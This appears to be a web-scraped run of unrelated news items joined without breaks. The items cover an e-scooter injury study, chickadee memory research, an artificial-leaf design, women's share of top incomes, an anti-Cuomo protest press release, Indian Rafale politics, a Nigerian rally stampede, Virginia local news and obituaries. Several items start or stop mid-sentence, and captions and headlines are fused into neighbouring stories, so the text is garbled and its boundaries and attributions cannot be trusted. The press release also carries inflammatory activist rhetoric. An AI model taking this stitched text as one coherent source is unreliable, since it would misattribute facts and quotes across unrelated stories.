This 18-year study provided new insights into the diverse ways that a marine ecosystem can be altered following the loss of an apex predator.UCLA researchers have found that people involved in electric scooter accidents are sometimes injured badly enough -- from fractures, dislocated joints and head injuries -- to require treatment in an emergency department.

The researchers examined data from 249 people who were treated at the emergency departments of UCLA Medical Center, Santa Monica, and Ronald Reagan UCLA Medical Center between Sept. 1, 2017, and Aug. 31, 2018. The study found that about one-third of them arrived by ambulance, an indication of the severity of their injuries.

West Los Angeles is the epicenter of the electric scooter phenomenon -- Santa Monica was one of the first U.S. cities in which the scooters were widely used -- but the vehicles are now available in more than 60 cities nationwide and about a half dozen locations outside of the U.S.

"There are thousands of riders now using these scooters, so it's more important than ever to understand their impact on public health," said Dr. Tarak Trivedi, the study's lead author, an emergency physician and scholar in the National Clinician Scholars Program at the David Geffen School of Medicine at UCLA.

The research, published Jan. 25 in JAMA Network Open, is the first published study on injuries caused by electric scooters. It reports that the most common mechanisms of injury among scooter riders were falls (80 percent), collisions with objects (11 percent), or being struck by a moving vehicle such as a car, bicycle or other scooter (9 percent).

Among the other findings:

About 92 percent (228) of the injured people were riders, and 8 percent (21) were non-riders, including pedestrians who were struck by scooter riders or who stumbled over a discarded scooter.

About 4 percent (10) were documented to be wearing a protective helmet while riding their e-scooter.

About 5 percent of patients had either a blood alcohol content greater than 0.05 percent or were perceived by physicians to be intoxicated. (In California, a person with blood alcohol content of 0.08 percent is considered to be driving under the influence.)

Patients fell into one of three injury categories: head injuries (40 percent), fractures (32 percent) and cuts, sprains or bruises without a fracture or head injury (28 percent).

Fifteen people were admitted to the hospital, two of whom were treated in an intensive care unit.

The researchers also observed e-scooter riders at various Los Angeles intersections for a total of seven hours in September 2018. About 94 percent of the 193 people they saw riding scooters were not wearing helmets.

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E-scooters can reach speeds of about 15 miles per hour, and it has become common to see them zipping along streets and sidewalks -- even though they are intended to be used on streets only -- often dodging pedestrians and motorists. Unused scooters are frequently left at the edge of curbs, but they sometimes are abandoned in places where they obstruct sidewalks or block building entrances.

Cities have adopted a hodgepodge of responses to the safety issues posed by the new phenomenon. For example, in August 2018, Santa Monica began a public safety campaign with Bird and Lime, two of the leading e-scooter suppliers. A month later, the city launched a pilot program intended to develop administrative regulations on shared scooters and bikes. (Santa Monica already has a longstanding rule prohibiting bikes and electric devices from sidewalks.)

Scooter companies typically recommend that riders be at least 18 years old and wear helmets, although riders often flout those guidelines. And in January 2019, a new California law eliminated the helmet requirement for e-scooter riders 18 and older.

The authors noted some limitations of the study. The researchers were limited to the data available in electronic medical records, so information on certain variables -- like whether riders were wearing helmets at the time of their injuries -- was not always available. They excluded data on 74 emergency department visits that were suspected to be scooter-related but lacked sufficient documentation. They also could not evaluate the role that urban planning and infrastructure might play, for example the influences of speed limits and the availability of dedicated bicycle lanes.

The authors wrote that the Segway, a two-wheeled personal transporter that was introduced in the early 2000s, and a precursor of the scooters, also carried a serious risk for orthopedic and neurologic injuries.

"We noted similar patterns of injury with the new standing electric scooters," said Dr. Joann Elmore, professor of medicine in the division of general internal medicine and health services research at the Geffen School of Medicine, and the study's senior author. "But unlike Segway transporters, standing electric scooters will have a substantial impact on public health given their low cost, popularity and broad accessibility."Chickadees with better learning and memory skills, needed to find numerous food caches, are more likely to survive their first winter, a long-term study of mountain chickadees has found.

Enhanced spatial cognition and brain power evolves via natural selection, an elaborate study of hundreds of mountain chickadees in the Sierra Nevada has found. Using passive integrative transponder (PIT) tags in combination with radio frequency identification-equipped feeders, scientists at the University of Nevada, Reno have tracked feeding behaviors and measured learning and memory of these non-migratory birds that live year-round in the high-elevation forest northwest of Truckee, California.

"This is a unique program, set in the wilderness, so we get unique results," Vladimir Pravosudov, lead researcher and biology professor at the University's College of Science, said. "Over the years, we've banded and tagged thousands of chickadees and observed their spatial cognition using custom-designed and built feeders that allow us to track how individuals learn and remember. And now we have tested whether individuals with better learning and memory performance are more likely to survive the winter."

Ben Sonnenberg, a doctoral student in the laboratory of Pravosudov (as a part of the Ecology, Evolution and Conservation Biology Graduate program) is the lead author, and Pravosudov is a corresponding author, on a scientific paper, based on the research, published Feb. 7 in the journal Current Biology.

'We're looking at how natural selection can generate differences in the birds living in different environments, and we now have direct evidence that selection is acting on chickadees' spatial cognition, which is needed to find tens of thousands of previously made food caches required to survive the winter," Pravosudov said. "Our new evidence fully support our previous comparative studies showing that chickadees living in harsh winter conditions at high elevations have better memory and larger hippocampus, a brain structure associated with memory. Our new data show that better learning and memory in these birds at high elevations are due to strong natural selection."

Pravosudov and his team of three graduate students visit their field sites near the University of California, Berkeley Sagehen Creek Field Station north of Truckee, California multiple times a week, year-round, including in some of the harshest Sierra Nevada winter weather. The field sites are about 40 miles from campus, so traveling during snowstorms is slow, and then they must use over-snow vehicles to go the last 10 miles to the high elevation site near Carpenter's ridge, at about 8,300 feet in elevation, often blazing a trail through four feet of new snow.

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"Results like these (about natural selection) make the long days of digging out snowmobiles, shoveling snow and programming our chickadee feeders from underneath a tarp in sleeting weather worth the effort twice over," graduate student Sonnenberg said.

Four over-snow vehicles are used to transport the researchers and gear to their sites, and sometimes they have to ski to get there because their vehicles can't get through the deep snow.

Their destination at high elevation is the centerpiece for this study, with two identical metal frameworks -- arrays -- that hold eight feeders each. Access to the feeders is regulated by RFID activated doors and the feeder arrays can be raised and lowered depending on the snow depth. The frameworks hang by cables between trees in the forest that reaches 8,300 feet above sea level. Two similar arrays are set up at their lower elevation study area about four miles away and a few thousand feet lower in elevation.

Each bird has its own PIT tag ID and the feeder doors can be programmed to let in whichever birds Pravosudov and his team decide. The data, such as number of visits by an individual bird to each feeder, the time of day they feed and what other chickadees they share the feeder with, are automatically recorded by RFID boards and stored on memory cards which need to be regularly retrieved to download the data.

By assigning each bird only one rewarding feeder, researchers are able to measure learning and memory by recording how many non-rewarding, or 'wrong,' feeders birds visit before they find their rewarding feeder. As birds learn, they are expected to stop visiting all but the rewarding feeder.

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"It's a simple system, we built it all in-house, with many design and build versions as we adapted them to the environment," Pravosudov said. "We collaborate with Dr. Eli Bridge from University of Oklahoma on RFID designs. Our feeders are field tested, needing to survive the elements and other animals -- squirrels when the snow is deep, and bears all the time -- who are looking to steal the bird seed from the experiment feeders. Bears have destroyed many feeders before we figured out how to avoid them."

"We follow chickadees their entire lives; we get the whole big picture," he said. "Mountain chickadees have an average lifespan of one and a half years, but our oldest is seven years old. The highest mortality occurs in juvenile birds during their first winter. Survivability is higher in adults once they survived their first winter because they are the ones who have better learning and memory abilities, allowing them to find where their food is cached. As much as 50 percent of the population dies off each year in the mountain environment; if they can't remember well where their food is cached, they are not likely to survive."

When comparing the juveniles who survived the first year to those who did not, learning and memory performance was better in those who survived. The research team also found that cognitive abilities remained stable as the birds aged.

The wild food-caching mountain chickadees don't migrate, they stay mostly at the same sites they settled on after they dispersed from where they hatched. At the Sagehen forest, there are no birds that permanently moved between the researchers' low and high elevation sites, which are six miles apart.

"We have banded several thousand chickadees over the years and we have never seen any birds permanently moving between elevations," Pravosudov, who teaches animal behavior and behavioral ecology, said. "These birds are easier to study because they are in one spot their entire life, dependent on food caches to make it through the harsh winters."

"The ability to track individual mountain chickadees throughout their lifetime in the Sierra Nevada mountains has been extremely exciting and rewarding," Sonnenberg said. "I was drawn to UNR and Vladimir's lab because there is no other system like it."

Vladimir has suspected for years that spatial memory is being shaped by natural selection and being able to take part in such a major step in confirming these ideas is extremely special, he said.

"Our results provide the first direct evidence for natural selection on spatial cognition in wild food-caching mountain chickadees," he said. "Taken together, our results suggest that natural selection associated with environmental differences, like those in winter conditions between high and low elevations in the mountains, might be generating intraspecific differences in cognitive abilities. Our evidence suggests that natural selection, rather than some other potential variables that critics have said could be responsible for the results of earlier comparative studies inconclusive, is the main driver of such differences."

The strongest supporting evidence comes from spatial learning and memory performance, as results from all three comparisons in the study are consistent with natural selection:

Adults showed better spatial learning and memory performance than first-year juveniles; There was no significant difference in performance of the same cohort of chickadees that was first tested as first-year birds and then as adults, in other words they did not improve cognitive performance with experience; and Spatial cognitive performance was a significant predictor of survival in first-year juvenile chickadees; birds that survived their first winter season showed significantly better performance in the spatial learning and memory tasks compared to birds that died.

Pravosudov received a National Science Foundation grant in 2014 to conduct this study. Two other NSF grants, one awarded to collaborator Eli Bridge and one awarded to Carrie Branch, were part of the funding for this project.

Co-authors on the scientific paper in Current Biology are Benjamin Sonnenberg, University of Nevada, Reno; Carrie Branch, former doctoral student at the University of Nevada, Reno and now a postdoc at Cornell Lab of Ornithology; Angela Pitera, University of Nevada, Reno; and Eli Bridge, University of Oklahoma, Oklahoma Biological Survey.

Pravosudov's is currently the only lab in the world that carries systematic study of spatial learning and memory in wild food-caching birds in extreme environmental conditions.

He's been studying mountain chickadees in the Sierra since 1999 starting as a post-doc at the University of California, Davis. Before that, he studied European food-caching tits (related to North American chickadees) above the Arctic Circle in northern Russia and then in North Eastern Siberia. Pravosudov's lab has published 21 papers about chickadees since 2015, with more in the pipeline. His curiosity and drive to learn more continues today.

"We now have DNA of all the birds we've banded, so next we are collaborating on genomics projects to investigate genomic bases of variation in learning and memory; maybe this summer we'll have a paper on our findings using full genomes of numerous chickadees with known learning and memory performance," he said.

He is a fellow of the American Ornithological Society, recognizing his "exceptional and sustained contributions to ornithology" and an elected fellow of the Animal Behavior Society.Artificial leaves mimic photosynthesis -- the process whereby plants use water and carbon dioxide from the air to produce carbohydrates using energy from the sun. But even state-of-the-art artificial leaves, which hold promise in reducing carbon dioxide from the atmosphere, only work in the laboratory because they use pure, pressurized carbon dioxide from tanks.

But now, researchers from the University of Illinois at Chicago have proposed a design solution that could bring artificial leaves out of the lab and into the environment. Their improved leaf, which would use carbon dioxide -- a potent greenhouse gas -- from the air, would be at least 10 times more efficient than natural leaves at converting carbon dioxide to fuel. Their findings are reported in the journal ACS Sustainable Chemistry & Engineering.

"So far, all designs for artificial leaves that have been tested in the lab use carbon dioxide from pressurized tanks. In order to implement successfully in the real world, these devices need to be able to draw carbon dioxide from much more dilute sources, such as air and flue gas, which is the gas given off by coal-burning power plants," said Meenesh Singh, assistant professor of chemical engineering in the UIC College of Engineering and corresponding author on the paper.

Unhooking the pressurized carbon dioxide supply from these leaves means that they must have a way to collect and concentrate carbon dioxide from the air to drive their artificial photosynthetic reactions.

Singh and his colleague Aditya Prajapati, a graduate student in his lab, proposed solving this problem by encapsulating a traditional artificial leaf inside a transparent capsule made of a semi-permeable membrane of quaternary ammonium resin and filled with water. The membrane allows water from inside to evaporate out when warmed by sunlight. As water passes out through the membrane, it selectively pulls in carbon dioxide from the air. The artificial photosynthetic unit inside the capsule is made up of a light absorber coated with catalysts that convert the carbon dioxide to carbon monoxide, which can be siphoned off and used as a basis for the creation of various synthetic fuels. Oxygen is also produced and can either be collected or released into the surrounding environment.

"By enveloping traditional artificial leaf technology inside this specialized membrane, the whole unit is able to function outside, like a natural leaf," Singh said.

According to their calculations, 360 leaves, each 1.7 meters long and 0.2 meters wide, would produce close to a half-ton of carbon monoxide per day that could be used as the basis for synthetic fuels. Three hundred and sixty of these artificial leaves covering a 500-meter square area would be able to reduce carbon dioxide levels by 10 percent in the surrounding air within 100 meters of the array in one day.

"Our conceptual design uses readily available materials and technology, that when combined can produce an artificial leaf that is ready to be deployed outside the lab where it can play a significant role in reducing greenhouse gases in the atmosphere," Singh said.Men hold nearly all primary breadwinning positions in top income households, and the glass ceiling that has hindered women's advancement in the workplace is more extensive than previously thought, a new study by University of North Carolina at Charlotte researcher Jill Yavorsky and colleagues finds.

"Our results indicate that men control the majority of income resources in households in the top one percent of U.S. income distributions," Yavorsky said. "This matters because members in the one percent possess a great deal of political, economic, and social power and influence in our society. If men are primarily the ones who control these resources, it is likely that men, not women, exercise the majority of power and influence that comes with being in these households."

The study, "Women in the One Percent: Gender Dynamics in Top Income Positions," is featured in the February issue of American Sociological Review, the flagship journal of the American Sociological Association. Yavorsky is an assistant professor in the Sociology Department and Organizational Science doctoral program at UNC Charlotte. Her co-authors are Lisa Keister of Duke University, Yue Qian of University of British Columbia and Michael Nau of The Ohio State University.

The new study uses the 1995 to 2016 Survey of Consumer Finances (SCF) to analyze gender income patterns in the one percent. To qualify for top one percent household status, the authors calculate that a household must bring in $845,000 in total income in 2016 dollars. The researchers' calculations from the 2016 SCF also indicate that top one percent households receive nearly one-fourth of all U.S. income, further highlighting the importance of studying this group.

While the top one percent has garnered increased scholarly and media attention in recent years, little research has considered whether men's or women's income is primarily responsible for moving households into the one percent. Research also has been sparse on whether women have access to their own pathways to earning one percent status based on their income alone.

This new study shows that women's income alone is sufficient for one percent status in only 5 percent of all elite households. Moreover, women's income is necessary in pushing a household over the one percent threshold in only 15 percent of all one percent households. In other words, women's income is largely inconsequential in most of these households for obtaining one percent status.

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"It is widely documented that most U.S. income gains since the late 1970s have gone to the top one percent of households," the researchers indicated in their article. "However, if women's income is trivial in the vast majority of these households, as our results show, rising inequality is largely due to a small group of men's income disproportionately rising compared with all others."

Importantly, the study also indicates that the gender gap in personally earning one percent income has not narrowed since the mid- to late-1990s. This means that women's progress on this issue has stalled and women are no closer to earning elite-level income today than they were two decades ago.

"We know that women face a lot of barriers reaching top executive and CEO positions," Yavorsky said. "However, we did not know the extent to which women are excluded from high income positions more generally. The previous studies of the glass ceiling have really looked at women being barred from leadership positions. This study shows that the glass ceiling is more extensive than we previously thought. It extends to nearly all elite positions, even self-employment."

Notably, prior studies have identified that self-employment and higher education are two important factors that increase people's chances of earning exceptionally high income. While the findings by Yavorsky and her colleagues show that obtaining higher education and self-employment do increase the likelihood that women will reach one percent status via their own income, "higher education and self-employment are not enough to circumvent the institutionalized barriers of reaching elite status," Yavorsky said. Instead, their results show that women mostly enter one percent households through marriage by gaining access to their spouse's income.

Meanwhile, due to men's labor market advantages, men's one percent status is most closely associated with their own characteristics, particularly with their own self-employment and higher education.

Yavorsky points to a few reasons to explain these results. Women are less likely to be in really high-paying male-dominated fields such as elite finance and real estate positions, and they are less likely to make it to the top ranks of corporate America where income is particularly concentrated.

"Women also experience a number of entry barriers into self-employment," she said. "And once they become self-employed or start their own business, they experience additional gender-based obstacles to growing their businesses. Such growth might otherwise enable them to earn high income. For example, previous research shows that women experience greater difficulties securing bank loans and venture capital funding for their businesses than men, which leads to a huge disadvantage for women entrepreneurs."

As a researcher who studies economic inequalities, Yavorsky points out that this latest research is not meant to say that women in one percent households are marginalized and disempowered. "They reap a host of different social and economic benefits from being in one percent households," she said. "However, the broader implications of this research suggest that women likely do not have the substantive status and power within these households, which have significant implications for policy concerning the distribution of economic resources."Saratoga County District Attorney Karen A. Heggen, left, and First Assistant District Attorney Alan Poremba. Heggen nominated Poremba for the Robert Morgenthau Award award that he received earlier this month.Christ, Cuomo, and Satan Tour Gathers Media and Momentum. See News Story: 'The Devil Went Down to Canandaigua'

Contact: Randall Terry, 904-826 9989



BINGHAMTON/SYRACUSE, N.Y., Feb. 13, 2019 /Christian Newswire/ -- "Cuomo is an evil man...and if he does not repent, he will burn in hell." -- Randall Terry, quoted Feb 12, in The Finger Lake Times.



See links to more news stories below.



On Wednesday, February 13, seven Activists from four states will continue touring the state of New York, repeating a street theatre skit entitled "Christ, Cuomo, and Satan." They are joined by local pro-life activists in each city.



Mr. Terry rose to international prominence as a pro-life leader while living in the Binghamton NY area for over 25 years.



The schedule for events on Wednesday, February 13, is as follows:

Binghamton NY, 10:30 AM

State Office Building: 42 Hawley St., 13901



Cortland NY 1:30 PM

46 Greenbush St., 13045



Syracuse NY 3:00 PM

State Office Building, near Columbus Circle,

333 East Washington St., 13202

News outlets in every city visited thus far have come out to film or to write about the political and religious message. Here are excerpts and links.



"The Devil Went Down to Canandaigua." From the Canandaigua Daily Messenger.

(Scroll down to watch video)





"If you happened to have seen a man walking down Castle Street Monday afternoon that looked a lot like Satan...you were not hallucinating." From the Finger Lakes Times



Video.



Image of Entire Newspaper Story: www.Randallterry.com



BATAVIA  If the protest seems extreme, well, that was the point. A protestor portraying Gov. Andrew Cuomo whips another person who's playing Jesus, who carries a cross. Satan  played by national anti-abortion activist Randall Terry  supplies Cuomo with exclamations such as "I am Catholic" and "women's rights" in the process.



See video and read story from Geneva here.



"Our mission is to show the public - in stark and comedic images - exactly what Governor Cuomo is: an evil, baby killing man - Satan's servant - who is secretly running for President." -- Randall Terry



The tour will finish in New York City with Stops at Trump Tower, St. Patrick Cathedral, and The World Trade Center.



See entire New York State itinerary and more news stories of this political Satire at www.RandallTerry.com

File photoConvicted child rapist Wayne Chapman's lawyer, Eric Tennen, says his client should be released from prison to a residential facility where he can receive medical attention he needs. Chapman served his prison time for raping two boys but has continued to be held on a civil commitment.Ethan Forman/Staff photoDanvers High science teacher Paul Vecchione talks about what his students are doing in a Project Lead The Way engineering class last week. The school recently won two grants to expand its hands-on Project Lead The Way offerings, including new courses in computer science.SEabrook - P. Kent Culbert, Sr., 76, of Seabrook, died June 20, 2021 at Anna Jaques Hospital in Newburyport. He was born in Beverly, May 27, 1945 a son of the late Warren and Hazel (Fanning) Culbert. Kent graduated from Hamilton Wenham Regional High School and went on to vocational school. HHong Kong: Joshua Law visits Judiciary

Secretary for the Civil Service Joshua Law today visited the Judiciary to learn more about the work of civil servants in the Judiciary Administration.

Mr Law visited the West Kowloon Law Courts Building and met the Judiciary Administrator Emma Lau and directorate staff to get an update on their work.

He was briefed on the support services provided to judges and court users by Judicial Clerks, Court Interpreters, Bailiffs, Bailiff's Assistants and other staff.

While touring the courtroom facilities, he observed the work of court clerks and Court Interpreters.

Mr Law then visited the Accounts Office to learn how it processes payments and refunds of courts and tribunals.

He also toured facilities at the Small Claims Tribunal, including its new information centre.

Wrapping up his visit, Mr Law met staff representatives of various civil service grades in the Judiciary Administration. He encouraged them to continue providing professional court support services to the public.

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Chandigarh, February 13: Punjab Chief Minister Captain Amarinder Singh on Wednesday said his government was prepared to consider 100% subsidy for groups of poor farmers of the Kandi area for fencing their fields against stray animals. The Chief Minister made the statement in the Vidhan Sabha on the second day of the Budget Session. Intervening during the question hour on the issue raised by MLA Jai Krishan Rodi,

Captain Amarinder Singh speaking in Assembly on second day of Budget Session

the Chief Minister said that the state government was fully seized of the matter and was making all-out efforts to protect the crops of farmers from stray animals. Captain Amarinder Singh pointed out that his government was already providing 50% subsidy to farmers for fencing their fields and a pilot project had been launched last year under which total subsidy to the tune of Rs 4.21 Crores had been given to 563 farmers in Kandi.

Responding to a MLAs suggestion, the Chief Minister assured the House that the government would consider the proposal to allow fencing subsidy for groups of poor farmers, instead of providing individual subsidy. It may be noted that the Forest department had already issued a notification to give permits for hunting wild boars and blue bulls to protect crops from any damage. The department was also organising special camps to make people aware of the problem.New Delhi, Feb 13: Stepping up his attack on Prime Minister Narendra Modi over the Rafale issue, Congress president Rahul Gandhi on Wednesday cited a media report to claim that the PM's argument of better pricing and faster delivery of the jets to defend the deal has been "demolished". His attack came after a report in The Hindu which claimed that the Rafale deal was not on"better terms" than the UPA-era offer.

"The PM defended his personal RAFALE bypass deal on 2 counts: 1. Better Price 2. Faster Delivery. Both have been demolished by the revelations in the Hindu today," he tweeted. The government has in the past rejected all such allegations and claims against the deal. Three senior Defence Ministry officials who were the domain experts on the seven-member Indian Negotiating Team (INT) came to a "well-substantiated and clear conclusion"

Prime Minister Narendra Modi

that the Narendra Modi government's new Rafale deal for 36 flyaway aircraft was not on "better terms" than the offer made by Dassault Aviation during the procurement process for 126 aircraft under the United Progressive Alliance government, the report in the English daily said. Citing the report, Congress' chief spokesperson Randeep Singh Surjewala said the "theft has been caught".

Surjewala highlighted four points citing the report -- price of 36 Rafale jets was 55 per cent higher than the UPA-era offer, loss incurred by not taking 25 per cent discount for Rafale as offered by Eurofighter, bank and sovereign guarantee waived, and no aircraft for 10 years with escalation cost to be paid. The Congress' attack came a day after, Gandhi accused the prime minister of "treason" and violating the Official Secrets Act by acting as Anil Ambani's "middleman" in the Rafale jet contract,

Rafale deal

citing an email to claim the businessman was aware of the deal days before India and France finalised it. The BJP, however, had rejected the charge, saying the email purportedly by an Airbus executive referred to a helicopter deal and not Rafale. Reliance Defence, in a statement, also refuted Gandhi's allegation saying the "proposed MoU" mentioned in the email referred to its cooperation with Airbus Helicopter.New Delhi, Feb 13: In a blistering attack on the Modi government, Congress leader Sonia Gandhi said Wednesday "bluff, bluster and intimidation" have been its governance philosophy, while asserting that her party will confront political adversaries with all its vigour. Addressing the Congress Parliamentary Party's general body meeting, Sonia Gandhi also hailed party president Rahul Gandhi, saying he has brought fresh energy into the party organisation and has put together a team which blends experience and youth well.

"We go to the forthcoming Lok Sabha polls with renewed confidence and resolve. Our victories in Rajasthan, Chhattisgarh and Madhya Pradesh have given us new hope," she said at the meeting attended by Rahul Gandhi, former prime minister Manmohan Singh, Congress' leader in Lok Sabha Mallikarjun Kharge, Leader of Opposition Ghulam Nabi Azad, among others. "Our opponents were earlier projected as being invincible.

Congress president Rahul Gandhi

The Congress president took them head-on, mobilizing and motivating lakhs of our workers who, with him, gave their all," she said. Launching a scathing attack on the Modi government, Sonia Gandhi said: "The very foundations of our democratic republic, of our secular republic have come under systematic assault by the Modi government." The very values, principles and provisions of the Constitution have come under continued attack from the Modi government, she alleged.

"Institutions have been subverted. Political opponents have been hounded. Dissent has been suppressed. Freedom of speech - the most basic of all freedoms - has been sought to be curtailed and silenced," the UPA chairperson said. "Bluff, bluster and intimidation have been the governance philosophy of the Modi government. Truth and transparency have been brazenly tossed aside," Sonia Gandhi alleged. There is an all-pervasive atmosphere of fear and strife across the country, she claimed.They did not specify how many people had died or were injured but a spokesperson for the University of Port Harcourt Teaching Hospital said 14 people were killed. People at the rally began to panic and rushed toward a locked exit inside the Adokiye Amiesimaka Stadium towards the end of the event. Tens of thousands of people attended the rally. Another rally for Buhari in the eastern state of Taraba killed several supporters last week.

Nigeria holds an election on Saturday in which Mr Buhari is running for his second term. In recent weeks, tensions have risen between the APC and Abubakars Peoples Democratic Party (PDP). Nigerias last election in 2015 was considered free and fair, but state and local elections as well as earlier presidential polls have been marred by violence and fraud allegations. Buhari has described himself as a converted democrat. Born to a Fulani family, he is the twenty-third child of his father. His father died when he was about four years old. In order to reform the economy, as Head of State, Buhari started to rebuild the nations social-political and economic system. Buharis administration enacted three decrees to investigate corruption and control foreign exchange.The bill now heads to the House.

17-minute delay

Dillon McGhee was 26 years old when she died in August 2017 after battling addiction for seven years. She was a graduate of Atlee High School and was attending Liberty University when she started using drugs.

She was within days of departing Richmond for yet more treatment in California when she went to visit John S. Nielsen in Chesterfield County, where she injected herself with heroin that he later said she brought to his house. Nielsen, also an addict, told police he left the house to get some drugs for himself.

When he returned, he said two women were waiting for him. When the three went inside, they saw McGhee slumped on a couch. She appeared blue and unresponsive. The two women left, one of them calling 911 to report the overdose.

When Chesterfield police arrived at Nielsens home and asked about McGhee, Nielsen said she had left. He refused to allow a search of his house and stonewalled police for 17 minutes. Believing McGhee was inside and in danger, officers entered the home and found her body in the laundry closet, where Nielsen put her.

Authorities said Nielsen later told police McGhee was a friend.For instance, Northam is now under fire for referring to the first Africans in Virginia as indentured servants. Technically, he may be correct. Historians still debate the precise status of the first Africans brought to Virginia, because slavery was not codified until l662. In fact, thats what the states textbooks taught: At first, the Negroes were treated as indentured servants. There is no mention of the fact that, whatever they were called, they werent free  that theyd been kidnapped from Africa and transported against their will across the Atlantic and in some cases treated as indentured servants for life, which is slavery by another name. Meanwhile, Virginia students were taught that those held in slavery were happy about their lot. The chapter on slavery opens with a drawing that shows a well-dressed white man shaking hands with a well-dressed  and smiling  black man, as if they were somehow on equal footing. The chapter emphasizes how well masters supposedly treated their human chattel. Most of them were treated with kindness. A feeling of strong affection existed between masters and slaves in a majority of Virginia homes. These are but two examples of the many records of affection which existed between masters and their servants. Servants, not slaves. That same chapter went on to say that slaves went about in a cheerful manner making a living for themselves and for those for whom they worked. There is nary a mention of the fundamental evil of holding fellow humans as property.State and national news media have been filled this week with the news and fallout from Democratic Gov. Ralph Northams admission of appearing in blackface in 1984 and having the now-well-known photo of a person in black face and another in a Ku Klux Klan costume on his personal page in the medical school yearbook in 1984. Reaction of politicians, especially Democrats, the media and pundits, was immediate and severe: Northam must resign despite the fact that he accepted responsibility, apologized for his part in the racist past and asked for forgiveness. While he can rightly be criticized for his contribution to racism 35 years ago, no one can seriously contend that he has lived a life of racism since then. In fact, he has lived a life of service to others in the U.S. Army, the medical profession and the General Assembly.After Reconstruction, a deliberate effort developed to rewrite history by revising the narrative of the Civil War. The war was not about slavery, the story went, it was simply a battle over States Rights. The Lost Cause was romanticized as a noble quest for liberty and justice. The bravery and chivalry of the rebels were praised, and monuments to their courage and fortitude were established in many communities.

We probably cannot do better than to consider the thoughts of someone who held a fervent desire to see the country reconciled and reunited after the war, Robert E. Lee. When asked in December, 1866, for his views on a proposed monument, Lee wrote that it would have the effect of  continuing, if not adding to, the difficulties under which the Southern people labour.

In 1869, the Gettysburg Battlefield Memorial Association invited Lee to attend a meeting of the officers who fought in that battle to assist in the planning for monuments to mark the positions and movements of the opposing forces. He replied that he believed it would be wiser  not to keep open the sores of war but to follow the examples of those nations who endeavored to obliterate the marks of civil strife, to commit to oblivion the feelings engendered.CLOUSE, James P. February 10, 2019 James P. Clouse, 96, of Blacksburg, Va. passed away peacefully on Sunday, February 10, 2019. He is survived by his children, Ellen (Rick), Jim, Susan and Peter; his grandchildren, Bryan (Kelly), April, Matthew, Seth, Rachel, John and Ethan; and his great-grandchildren, Avery and Charlie. He was preceded in death by his wife, Barbara in 2012. James was full of life, loving, caring, compassionate and always optimistic. He lived his life fully, a Boilermaker and Hokie until the end. He always described himself as a teacher but everyone knows he was so much more  farmer, world traveler, distinguished professor, woodworker, friend and neighbor. He served as a Sergeant in the 27th Army Air Forces Base Unit out of Ft. Sam Houston, Texas during World War II. He earned his degrees at Purdue University and after teaching Ag Education there until 1973, he came to VA Tech to head the Ag Ed department until 1978. He retired in 1987 and began his second career as a craftsman/woodworker. A graveside service and burial will be 1 p.m., Friday, February 15, 2019, at the Southwest Virginia Veterans Cemetery, 5550 Bagging Plant Rd, Dublin, Va. 24084. A memorial reception will be held from 1 to 5 p.m. on Saturday, February 16, 2019, at the Roanoke Valley Presbyterian Church, 1532 Catawba Rd, Blacksburg, Va. 24060. At a future date, a memorial service will be held in Hope, IN where he was born. In lieu of flowers, donations may be made to Roanoke Valley Presbyterian Church or the James P. Clouse Scholarship in Agricultural Education Endowment at Purdue University, Dick and Sandy Dauch Alumni Ctr, 403 West Wood St, W. Lafayette, IN 47907-2007.Other key findings include testimony that the students felt confused by Phillips approach. Investigators said they found no evidence of racist or offensive statements by students to Mr. Phillips, though some performed a tomahawk chop.

According to the report, one of the chaperones told students that if they engaged in a verbal exchange with the Black Hebrew Israelites, they would receive detention when returning to school.

According to the report, most boys bought the red hats bearing President Donald Trumps MAGA slogan in Washington, D.C., on the day of the March for Life. In previous years, some students bought Hope hats in support of President Barack Obama, the report says.

The Bishop of Covington welcomed the report in a statement on the dioceses website. Roger Foys wrote that he was pleased that my hope and expectation expressed in my letter to you of 25 January that the results of our inquiry ... would exonerate our students so that they can move forward with their lives has been realized.

In a joint statement with the school, the diocese denounced the boys behavior the day after the march, calling it opposed to the Churchs teachings on the dignity and respect of the human person.Sleeping in cars overnight will no longer be permitted in Roanoke County under a new ordinance enacted Tuesday.

The ordinance, passed unanimously by the Roanoke County Board of Supervisors, fixes a gap in a local code that already bars sleeping in recreational vehicles outside of established campgrounds, said Senior Assistant County Attorney Peter Lubeck.

The ordinance doesnt prevent the occasional reasonable and safe napping by weary motorists, Lubeck said. But it would help officials intervene in more serious cases where an automobile is being used as a substitute for a home, hotel, or other, safer accommodations.

While not widespread, the county has fielded intermittent reports of such cases over the years, Lubeck said.

Such situations can raise concerns about the occupants safety and the wellbeing of the surrounding neighborhood, he said.

During a public hearing, residents who said theyve been grappling with one such case urged the board of supervisors to approve the measure.

The residents, who live in north county, said last summer a neighbor began living in her car, rather than in her home, and recently had been using a space heater powered with an extension cord to weather the winter.Young Virginians, raised amid a culture of tobacco and enamored of the newly popular vaping products, probably will have to wait to buy smoking materials until they turn 21 under a bill passed this week by the General Assembly.

The proposed law to raise the legal age from 18 to 21, rolled out by a bipartisan coalition of lawmakers who are alarmed by the rise in vaping, passed the House on Monday on a 66-30 vote. It passed the Senate on Jan. 29 on a lopsided 32-8 vote.

We certainly know the majority of kids in high school who are getting vaping products are getting them from older students, said Del. Chris Stolle, R-Virginia Beach, a physician who was one of the House sponsors of the bill. The legislation will get it out those friends hands, which we think is a significant source . . . because once theyre addicted, weve lost them.

The bill now goes to Gov. Ralph Northam, a pediatrician who as a state senator helped lead a successful effort to ban smoking in restaurants. Northam spokeswoman Ofirah Yheskel did not respond to requests for comment on whether he will sign the legislation.Bishop also led efforts to create a school security chief position. Former Roanoke Police Chief Chris Perkins filled the job last May. A month later, Bishop requested the school board tap into the divisions fund balance to allocate an additional $2 million for school security purposes, including structural and technology improvements.

But the school division has also faced challenges at times, including teacher retention and filling vacancies.

The school division retained 85.5 percent of its teachers entering the 2018-2019 school year, a drop of nearly 4 percent from the previous year. Bishop has cited poaching by other school divisions as contributing factor. In exit surveys conducted by the school division, about 25 percent of teachers who left the school division last school year said theyd accepted another teaching position elsewhere.

A separate, larger survey of employees was commissioned by the school board in the fall of 2017, and included questions about their view of the division as a whole. The results were revealed last year, and though Roanoke school employees gave overall high marks to the school system, many voiced concerns about workplace culture.Senior engineering students at the Burton Center of Arts and Technology retrofitted three electric toy cars to help three Roanoke County elementary students who have mobility limitations.

Each vehicle was modified with adaptive controls and physical alterations to ensure the children can maneuver the vehicle under their specific constraints.

